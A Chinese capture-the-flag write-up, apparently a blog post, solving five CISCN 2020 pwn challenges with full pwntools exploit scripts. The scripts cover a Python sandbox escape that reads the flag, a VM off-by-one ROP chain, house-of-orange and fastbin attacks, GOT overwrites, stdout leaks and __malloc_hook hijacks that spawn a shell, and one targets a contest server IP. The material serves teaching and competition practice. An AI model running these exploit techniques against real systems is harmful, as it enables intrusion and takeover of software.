• ciscn_2020_pwn 复现


    0x1 babyjsc

    压缩包中有 server.py ,其中首先执行

    size = int(input())
    

    同时压缩包中可以找到 flag 在靶机上的路径,所以尝试 python 逃逸即可。(非预期解,浏览器 pwn 被打了快 300 解 2333)
    nc 连上后,输入

    __import__('os').system('cat /home/ctf/flag')
    

    0x2 wow

    分析

    vm pwn 的题目越来越多了,而每次遇到都不会,这次就认真搞搞当入门了。(感谢 starssgo 、幼稚园、fmyy 师傅的指点)
    首先 ida 打开文件,上来就是几万个未命名的函数,我当年就是这么吓退了 orz 。这肯定不能傻逼直接逆几万个函数,我们需要寻找关键代码。
    首先题目 f5 识别有问题,需要修一下。

    这里可以看到 0x404dc4 已经是一个新的函数,可是上一个函数的结束地址将这个函数包进去了,导致 ida 识别不出来。我们将上一个函数的 end 地址改为 0x404dc4 ,将下面的函数用 “p” 快捷键生成函数即可。

    这道题的难度在于逆向分析,就不细讲了,讲讲关键部分。
    这个程序类似于一个 brainfuck 编译器,程序中开辟了一块 0x400 大小的内存给编译器使用,我们通过输入程序定义的指令符,对这块内存进行各种操作,就可以实现各种功能,首先先分析出各个指令的操作:

    • @:++ptr;
    • #:--ptr;
    • ^:++*ptr;
    • |:--*ptr;
    • &:putchar(*ptr);
    • $:*ptr = getchar();
    • ptr << 2;
    • (*ptr);
    • {:while(*ptr){
    • }:}

    程序运行时,栈的情况如下:(假设分配内存的地址为 0x1000)

    0x1000      编译器使用这 0x400 大小          
    ···         ...
    0x1400      指向指令字符串的指针 code_buf (值为 0x1410)
    0x1408      指令字符串的长度 len(code)
    0x1410      指令字符串 code
    ...         ...
    0x1468      返回地址
    

    程序漏洞出现在此处:

              case 0x40:
                if ( v25 >= (char *)&code_buf )
                {
                  sub_4D47B0("invalid operation!");
                  sub_4C7E70(0xFFFFFFFFLL);
                }
                ++v25;
                break;
    

    这里代码的意思是,执行 “@” 指令时,如果内存指针小于 0x1400 ,则内存指针 + 1 。所以很明显,这里可以溢出一个字节,也就是说我们可以覆盖指令字符串指针的最低位字节。而刚好返回地址与指针的偏移在一个字节的大小,所以我们可以控制返回地址的内容。

    而程序开启了沙箱,拿不到 shell ,就只能通过 orw 获取 flag 了。

    所以我们的目标是通过程序给的指令集的操作,将栈修改为:

    0x1000      编译器使用这 0x400 大小          
    ···         ...
    0x1400      指向指令字符串的指针 code_buf (值为 0x1410)
    0x1408      指令字符串的长度 len(code)
    0x1410      指令字符串 code
    ...         ...
    0x1468      orw
    

    这样程序运行到返回地址时,就会运行 orw 打印 flag 。
    构造 rop 时有两个需要注意的点,
    一个是我们 rop 中各个 gadget 的地址不能是有效指令。比如说:

    pop_rdi = 0x4047ba
    

    这种 gadget 是行不通的,因为程序在解析时,会把 0x40 解析为 “@” ,这样就会执行对应的操作,达不到我们的目的。
    第二是程序在最后返回前,有一个检测:

      if ( code_buf != (__int64 *)&code )
        sub_405C90((__int64)code_buf);
    

    也就是指令字符串的指针要与指令字符串的地址相等才能绕过检测。而我们之前为了修改返回地址的内容,将指针指向了返回地址,程序运行到这里会 crash ,我们通过一字节溢出将指针末位修改回来即可。

    exp

    from pwn import *
    
    file_name = './main'
    #libc_name = ''
    
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    
    p = process(file_name)
    #p = process('./idaidg/linux_server64')
    #p = remote('')
    elf = ELF(file_name)
    
    libc = elf.libc
    
    #syscall = 0x4dc054 
    #pop_rdi = 0x4047ba 
    #pop_rsi = 0x407578 
    #pop_rdx = 0x40437f 
    #pop_rax = 0x41ea0a
    
    #def call(rax,rdi = 0,rsi = 0,rdx = 0):
    #    return flat([pop_rax,rax,pop_rdi,rdi,pop_rsi,rsi,pop_rdx,rdx,syscall])
    
    syscall = 0x00000000004dc054 # syscall ; ret
    pop_rdi = 0x000000000041307a # pop rdi ; pop ...; ret
    pop_rsi = 0x000000000047383d # pop rsi ; pop ...; ret
    pop_rdx = 0x000000000053048b # pop rdx ; pop ...; ret
    pop_rax = 0x000000000053048a # pop rax ; pop ...; pop ...; ret
    def call(rax, rdi=0, rsi=0, rdx=0):
        return flat([pop_rax, rax, 0, 0, pop_rdi, rdi, 0, pop_rsi, rsi, 0, pop_rdx, rdx, 0, syscall])
    
    p.sendlineafter("enter your code:
    ", "~{@&$}")
    p.send("A" * 0x3FF)
    p.recvuntil("
    running....
    ")
    sleep(0.2)
    p.recvuntil("x00" * 0x3FF) 
    val = ord(p.recv(1))
    p.send(chr((val + 0x58) & 0xFF))
    p.sendafter("continue?", "Y")
    sleep(1)
    payload = call(0, 0, 0x5D5600, 0x10)
    payload += call(2, 0x5D5600, 0, 0)
    payload += call(0, 3, 0x5D5600 + 0x10, 0x50)
    payload += call(1, 1, 0x5D5600 + 0x10, 0x50)
    p.sendlineafter("enter your code:
    ", payload + "~{@&$}")
    p.send("A" * 0x3FF)
    p.send(chr(val))
    p.sendafter("continue?", "N")
    p.send("flagx00")
    
    p.interactive()
    

    0x3 no free

    分析

    这道题只有 edit 功能和通过 strdup 实现的 malloc 功能,难点在于没有 free 与 show,以致于难以实现信息泄露和利用。
    house of orange 技术是一种在没有 free 情况下可以获得空闲 chunk 的技术,它通过控制 top chunk 的指针,使得当 top chunk 不满足分配大小扩展时,会执行 free(old top chunk) ,从而得到空闲的 chunk 。
    这里我们第一步就是运用 house of orange 技术获得空闲 chunk 。

    add(0,0x80,'aaax00')
    edit(0,'a' * 0x18 + p64(0xfe1))
    
    for i in range(24):
        add(0,0x90,'b' * 0x90)
    add(0,0x90,'a' * 0x30)
    add(1,0x90,'a' * 0x90)
    

    首先修改 top chunk 大小为 0xfe1 ,然后不断分配 chunk 使得最后 top chunk 不满足分配调用 sysmalloc 扩展,同时获得空闲 chunk 。

    gdb-peda$ bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0xe78f60 ◂— 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
    
    

    我们可以看到已经获得了 0x80 大小的 fast bin ,然后就是 fast bin attack :

    edit(0,'a' * 0x38 + p64(0x81) + p64(0x6020c0 + 0x100))
    add(0,0x81,'a' * 0x77)
    add(0,0x81,'a' * 0x77)
    

    通过 edit 功能修改 fd 指针为 heaplist 的地址(位于 bss 段,存储了每个 malloc 的 chunk 的 user_addr 指针和 size),然后 malloc 两次即可分配至 heaplist 处。

    gdb-peda$ x /20xg 0x6020c0 + 0x100
    0x6021c0:	0x00000000006021d0	0x0000000000000081 <-- chunk[0] user_addr && size
    0x6021d0:	0x6161616161616161	0x6161616161616161 <-- chunk[1] user_addr && size
    0x6021e0:	0x6161616161616161	0x6161616161616161
    0x6021f0:	0x6161616161616161	0x6161616161616161
    0x602200:	0x6161616161616161	0x6161616161616161
    

    chunk[0] 的 user_addr 指向了 chunk[1] 的 user_addr ,我们可以通过 edit chunk[0] 来编辑 chunk[1] 的 user_addr ,然后再 edit chunk[1] 往 user_addr 指针中写数据,这就实现了任意写。
    然后通过任意写:

    edit(0,p64(atoi_got) + p64(0x100))
    edit(1,p64(printf_plt))
    edit_s(0,p64(exit_got) + p64(0x100))
    edit_s(1,p64(ret))
    

    修改 atoi_got 为 printf_plt 引入字符串漏洞用于泄露地址,修改 exit_got 为 ret ,这样当我们输入不为 ‘1’ 或 ‘2’ 的 choice 时程序也不会退出。

    gdb-peda$ x /20xg 0x602000
    0x602000:	0x0000000000601e28	0x00007fa118334168
    0x602010:	0x00007fa118124ee0	0x00007fa117db2690
    0x602020:	0x00000000004006e6	0x00007fa117db96b0
    0x602030:	0x00007fa117d98800	0x00007fa117eb5970
    0x602040:	0x00007fa117e0f200	0x00007fa117e3a250
    0x602050:	0x00007fa117d63740	0x0000000000400700 <--atoi_got
    0x602060:	0x00000000004006b9 <--exit_got 	0x00007fa117dce470
    0x602070:	0x0000000000000000	0x0000000000000000
    

    然后利用格式化字符串漏洞:

    payload = "%7$saaaa" + p64(read_got)
    p.sendlineafter('choice>> ',payload)
    libc_read = u64(p.recv(6).ljust(8,'x00'))
    syscall = libc_read  + 0xe1
    print "libc_read:" + hex(libc_read)
    
    payload = '%12$p'
    p.sendlineafter('choice>> ',payload)
    p.recvuntil('0x')
    stack_addr = int(p.recv(12),16)
    

    泄露 read 地址和 stack 地址。最后就是利用 rop 调用 execv('/bin/sh', 0, 0) get shell 了,这里 rdi ,rsi ,rdx 的值可以用 gadget 控制,而 rax 的值通过调用 read 函数的返回值来控制。

    gadget_1 = 0x400c00
    gadget_2 = 0x400c16
    
    edit_s(0,p64(stack_addr + 8) + p64(0x300) + '/bin/shx00' + p64(syscall))
    payload = flat([pop_rdi, 0, pop_rsi, 0x6020c0, 0, libc_read])
    payload += flat([gadget_2, 0, 0, 1, 0x6020c0 + 0x128, 0, 0, 0x6020c0 + 0x120])
    payload += flat(gadget_1)
    

    通过 edit 功能将 rop 写入返回地址,并输入 0x3b 的字符控制 rax 为 0x3b,即可 get shell。

    edit_s(1,payload)
    
    sleep(2)
    p.send('A' * 0x3b)
    

    exp

    from pwn import *
    
    file_name = './pwn'
    libc_name = ''
    
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    
    #p = process(file_name)
    #p = process('./idaidg/linux_server64')
    p = remote('0.0.0.0',9997)
    elf = ELF(file_name)
    
    libc = elf.libc
    
    def add(idx, size, content):
        p.sendlineafter("choice>> ", "1")
        p.sendlineafter("idx: ", str(idx))
        p.sendlineafter("size: ", str(size))
        p.sendafter("content: ", content)
    
    def edit(idx, content):
        p.sendlineafter("choice>> ", "2")
        p.sendlineafter("idx: ", str(idx))
        p.sendafter("content: ", content)
    
    def edit_s(idx,content):
        p.sendafter('choice>> ','11x00')
        if idx == 0:
            p.sendafter('idx: ','x00')
        else:
            p.sendafter('idx: ','1' * idx + 'x00')
        p.sendafter('content: ',content)
    
    
    atoi_got = elf.got['atoi']
    exit_got = elf.got['exit']
    read_got = elf.got['read']
    printf_got = elf.got['printf']
    printf_plt = elf.plt['printf']
    ret = 0x4006b9
    
    add(0,0x80,'aaax00')
    edit(0,'a' * 0x18 + p64(0xfe1))
    
    for i in range(24):
        add(0,0x90,'b' * 0x90)
    add(0,0x90,'a' * 0x30)
    add(1,0x90,'a' * 0x90)
    
    edit(0,'a' * 0x38 + p64(0x81) + p64(0x6020c0 + 0x100))
    add(0,0x81,'a' * 0x77)
    add(0,0x81,'a' * 0x77)
    
    edit(0,p64(atoi_got) + p64(0x100))
    edit(1,p64(printf_plt))
    edit_s(0,p64(exit_got) + p64(0x100))
    edit_s(1,p64(ret))
    
    payload = "%7$saaaa" + p64(read_got)
    p.sendlineafter('choice>> ',payload)
    libc_read = u64(p.recv(6).ljust(8,'x00'))
    syscall = libc_read  + 0xe1
    print "libc_read:" + hex(libc_read)
    
    payload = '%12$p'
    p.sendlineafter('choice>> ',payload)
    p.recvuntil('0x')
    stack_addr = int(p.recv(12),16)
    
    pop_rdi = 0x400c23 # pop rdi; ret
    pop_rsi = 0x400c21 # pop rsi; pop r15; ret
    
    gadget_1 = 0x400c00
    gadget_2 = 0x400c16
    
    edit_s(0,p64(stack_addr + 8) + p64(0x300) + '/bin/shx00' + p64(syscall))
    payload = flat([pop_rdi, 0, pop_rsi, 0x6020c0, 0, libc_read])
    payload += flat([gadget_2, 0, 0, 1, 0x6020c0 + 0x128, 0, 0, 0x6020c0 + 0x120])
    payload += flat(gadget_1)
    
    edit_s(1,payload)
    
    sleep(2)
    p.send('A' * 0x3b)
    
    #gdb.attach(p)
    p.interactive()
    
    

    0x4 easybox

    分析

    这题的漏洞为 off_by_one ,没有 show 的功能,那就是通过爆破 IO_2_1_stdout 地址,改写 stdout 来 leak 信息了。

    add(0, 0x28, "AAAA")
    add(1, 0x28, "BBBB")
    delete(0)
    add(2, 0x68, "CCCC")
    delete(2)
    add(0, 0x28, "A" * 0x28 + "xa1")
    add(3, 0x28, "DDDD")
    delete(1)
    

    通过 off_by_one 漏洞造成堆块重叠:

    gdb-peda$ x /40xg 0x5578023d7000 
    0x5578023d7000: 0x0000000000000000      0x0000000000000031 -->chunk 0
    0x5578023d7010: 0x4141414141414141      0x4141414141414141
    0x5578023d7020: 0x4141414141414141      0x4141414141414141
    0x5578023d7030: 0x4141414141414141      0x00000000000000a1 -->unsorted bin
    0x5578023d7040: 0x00007f8fca154b78      0x00007f8fca154b78
    0x5578023d7050: 0x0000000000000000      0x0000000000000000
    0x5578023d7060: 0x0000000000000000      0x0000000000000071 -->fast bin
    0x5578023d7070: 0x0000000000000000      0x0000000000000000
    0x5578023d7080: 0x0000000000000000      0x0000000000000000
    0x5578023d7090: 0x0000000000000000      0x0000000000000000
    0x5578023d70a0: 0x0000000000000000      0x0000000000000000
    0x5578023d70b0: 0x0000000000000000      0x0000000000000000
    0x5578023d70c0: 0x0000000000000000      0x0000000000000000
    0x5578023d70d0: 0x00000000000000a0      0x0000000000000030
    0x5578023d70e0: 0x0000000044444444      0x0000000000000000
    0x5578023d70f0: 0x0000000000000000      0x0000000000000000
    0x5578023d7100: 0x0000000000000000      0x0000000000020f01
    0x5578023d7110: 0x0000000000000000      0x0000000000000000
    

    然后分配 0x30 大小的 chunk:

    add(1, 0x28, "B" * 0x28)
    delete(1)
    

    这样就构造了一个同时存在于 fast bin 跟 unsorted bin 的 chunk :

    gdb-peda$ bins
    fastbins
    0x20: 0x0
    0x30: 0x5623a15d4030 ◂— 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x5623a15d4060 —▸ 0x7fd7399beb78 (main_arena+88) ◂— 0x5623a15d4060
    0x80: 0x0
    unsortedbin
    all: 0x5623a15d4060 —▸ 0x7fd7399beb78 (main_arena+88) ◂— 0x5623a15d4060
    

    然后修改 fast bin 中的 fd 指针为 IO_2_1_stdout 附近的地址:

    add(4, 0x50, p64(stdout_offset - 0x43)[:2])
    add(1, 0x28, "B" * 0x28)
    

    这里不能分配 0x70 大小的 chunk ,因为那样会从 fast bin 分配,会使后面的 fast bin attack 失败;
    stdout_offset 我们不妨设置为 0x3620 ,因为 main_arena+88 与 IO_2_1_stdout 的偏移在 2 字节大小范围内,而随机化的最小单位是页,所以后三位 620 是不变的,我们只需要爆破一位即可(1/16 的成功率);
    IO_2_1_stdout - 0x43 处伪造的 chunk 可以绕过分配 fast bin 时对于 size 的检测。
    然后 fast bin attack 分配至 IO_2_1_stdout 处,修改 IO_write_base 使得程序下次调用 put 函数是可以 leak 出 IO_write_base 至 IO_write_end 的内容:

    add(5, 0x68, "EEEE")
    add(6, 0x68, "x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "x00")
    p.recvline() //接收 "1.Add"
    p.recv(0x40)
    libc_base = u64(p.recv(8)) - 0x3c5600
    __malloc_hook = libc_base + __malloc_hook_offset
    one_gadget = libc_base + one_gadget_offset
    

    接下来故技重施,造堆块重叠:

    add(7, 0x28, "AAAA")
    add(8, 0x28, "BBBB")
    delete(7)
    add(9, 0x68, "CCCC")
    delete(9)
    add(7, 0x28, "A" * 0x28 + "xa1")
    add(10, 0x28, "DDDD")
    delete(8)
    

    也是与上面类似, fast bin attack 改 __malloc_hook 为 one_gadget 地址:

    add(8, 0x38, "E" * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
    add(9, 0x68, "FFFF")
    add(11, 0x68, "G" * 0x13 + p64(one_gadget))
    

    在程序中调用 malloc 触发 __malloc_hook 即可。

    p.sendlineafter(">>>", "1")
    p.sendlineafter("idx:", str(12))
    p.sendlineafter("len:", str(0x48))        
    p.interactive() 
    

    exp

    from pwn import *
    
    file_name = './box'
    #libc_name = ''
    
    context.binary = file_name
    context.log_level = 'debug'
    context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    
    p = process(file_name)
    #p = remote('')
    #p = process('./idaidg/linux_server_64')
    elf = ELF(file_name)
    
    libc = elf.libc
    
    def add(idx,len,content):
        p.sendlineafter('>>>','1')
        p.sendlineafter('idx:',str(idx))
        p.sendlineafter('len:',str(len))
        p.sendafter('content:',content)
        
    def delete(idx):
        p.sendlineafter('>>>','2')
        p.sendlineafter('idx:',str(idx))
    
    
    stdout_offset = 0x3620
    
    __malloc_hook_offset = libc.symbols['__malloc_hook']
    one_gadget_offset = 0xf1147
    
    while True:
        try:
            # chunk overlap
            add(0, 0x28, "AAAA")
            add(1, 0x28, "BBBB")
            delete(0)
            add(2, 0x68, "CCCC")
            delete(2)
            add(0, 0x28, "A" * 0x28 + "xa1")
            add(3, 0x28, "DDDD")
            delete(1)
            
            # partial write
            add(1, 0x28, "B" * 0x28)
            delete(1)
            add(4, 0x50, p64(stdout_offset - 0x43)[:2])
            add(1, 0x28, "B" * 0x28)
    
            # leak
            add(5, 0x68, "EEEE")
            add(6, 0x68, "x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "x00")
            p.recvline()
            p.recv(0x40)
            libc_base = u64(p.recv(8)) - 0x3c5600
            __malloc_hook = libc_base + __malloc_hook_offset
            one_gadget = libc_base + one_gadget_offset
    
            break
    
        except:
            print("Failed")
            p.close()
            p = p = process(file_name)
    
    # chunk overlap
    add(7, 0x28, "AAAA")
    add(8, 0x28, "BBBB")
    delete(7)
    add(9, 0x68, "CCCC")
    delete(9)
    add(7, 0x28, "A" * 0x28 + "xa1")
    add(10, 0x28, "DDDD")
    delete(8)
    
    # __malloc_hook
    add(8, 0x38, "E" * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
    add(9, 0x68, "FFFF")
    add(11, 0x68, "G" * 0x13 + p64(one_gadget))
    
    # trigger
    p.sendlineafter(">>>", "1")
    p.sendlineafter("idx:", str(12))
    p.sendlineafter("len:", str(0x48))        
    p.interactive()       
    

    0x5 maj

    分析

    这题的难点在于代码混淆了,不过其实对于程序以及利用貌似没啥影响。那这样其实就很简单了,思路与上面的 easybox 是一样的,不过这题有 uaf 漏洞,更容易造堆块重叠。
    过程与上类似,这里就不具体分析了,简述一下思路:

    1. 通过 uaf 漏洞造 chunk overlap ,使得一个 chunk 同时存在 unsorted bin 和 fast bin 中。
    2. 通过 edit 功能改 main_arena+88 为 IO_2_1_stdout 附近的地址,同样是爆破一位。
    3. 也是改 IO_write_base 来 leak libc。
    4. 利用 uaf 漏洞进行 fast bin attack ,改 __malloc_hook 为 one_gadget 地址。
    5. 程序调用 malloc 触发 __malloc_hook get shell 。

    exp

     p = remote('101.200.53.148', 15423)
    
     def add(num, size, content):
         p.sendlineafter(">> ", "1")
         p.sendlineafter("please answer the question", str(num))
         p.sendlineafter('______?', str(size))
         p.sendlineafter("start_the_game,yes_or_no?", content)
    
     def delete(idx):
         p.sendlineafter(">> ", "2")
         p.sendlineafter("index ?", str(idx))
    
     def edit(idx, content):
         p.sendlineafter(">> ", "4")
         p.sendlineafter("index ?", str(idx))
         p.sendafter("__new_content ?", content)
    
     main_arena_offset = 0x3c4b20
     __malloc_hook_offset = libc.sym["__malloc_hook"]
     one_gadget_offset = 0xf1207
    
     while True:
         try:
             add(80, 0x28, "AAAA") # chunk 0
             add(80, 0x28, "BBBB") # chunk 1
             add(80, 0x28, "CCCC") # chunk 2
             for i in range(4):
                 add(80, 0x68, "DDDD") # chunk 3 4 5 6
    
             delete(3)
    
             # chunk overlap
             delete(2)
             delete(0)
             edit(0, 'x10')
             add(80, 0x28, "DDDD") # chunk 7
             edit(7, (p64(0) + p64(0x31)) * 2)
             add(80, 0x28, "EEEE") # chunk 8
             edit(8, p64(0) * 3 + p64(0xd1))
    
             # unsorted bin
             delete(1)
             add(80, 0x58, "FFFF") # chunk 9
    
             # bruteforce 4 bits
             edit(3, "xddx55")
             add(80, 0x68, "GGGG") # chunk 10
    
             # leak
             add(80, 0x68, "HHHH") # chunk 11
             edit(11, "x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "x00")
             p.recvline()
             p.recv(0x40)
             libc_base = u64(p.recv(8)) - 0x3c5600
             __malloc_hook = libc_base + __malloc_hook_offset
             one_gadget = libc_base + one_gadget_offset
    
             break
    
         except:
             print("failed")
             p.close()
             p = remote('101.200.53.148', 15423)
             # p = process(argv=[_proc], env=_setup_env())
    
     print("success")
    
     edit(11, p64(libc_base + main_arena_offset + 0x58) * 2)
    
     # uaf
     add(80, 0x68, "AAAA") # chunk 12
     delete(12)
     edit(12, p64(__malloc_hook - 0x23))
     add(80, 0x68, "BBBB") # chunk 13
     add(80, 0x68, "CCCC") # chunk 14
     edit(14, 'x00' * 0x13 + p64(one_gadget))
    
     # trigger
     p.sendlineafter(">> ", "1")
     p.sendlineafter("please answer the question", str(80))
     p.sendlineafter('______?', str(0x38))
    
     success("libc_base: " + hex(libc_base))
     success("one_gadget: " + hex(one_gadget))
     p.sendline(token)
    
     p.interactive()
    

    0x6 内容来源

    安全客 CISCN 2020 初赛Pwn

  • 相关阅读:
    第一次项目总结
    动画animation
    动画基本
    JQ属性和CSS
    JQ选择器
    关于JS的循环和函数,由入门到放弃
    Js知识点
    课程总结
    移动端开发--项目总总结
    项目总结
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13554020.html
Copyright © 2020-2023  润新知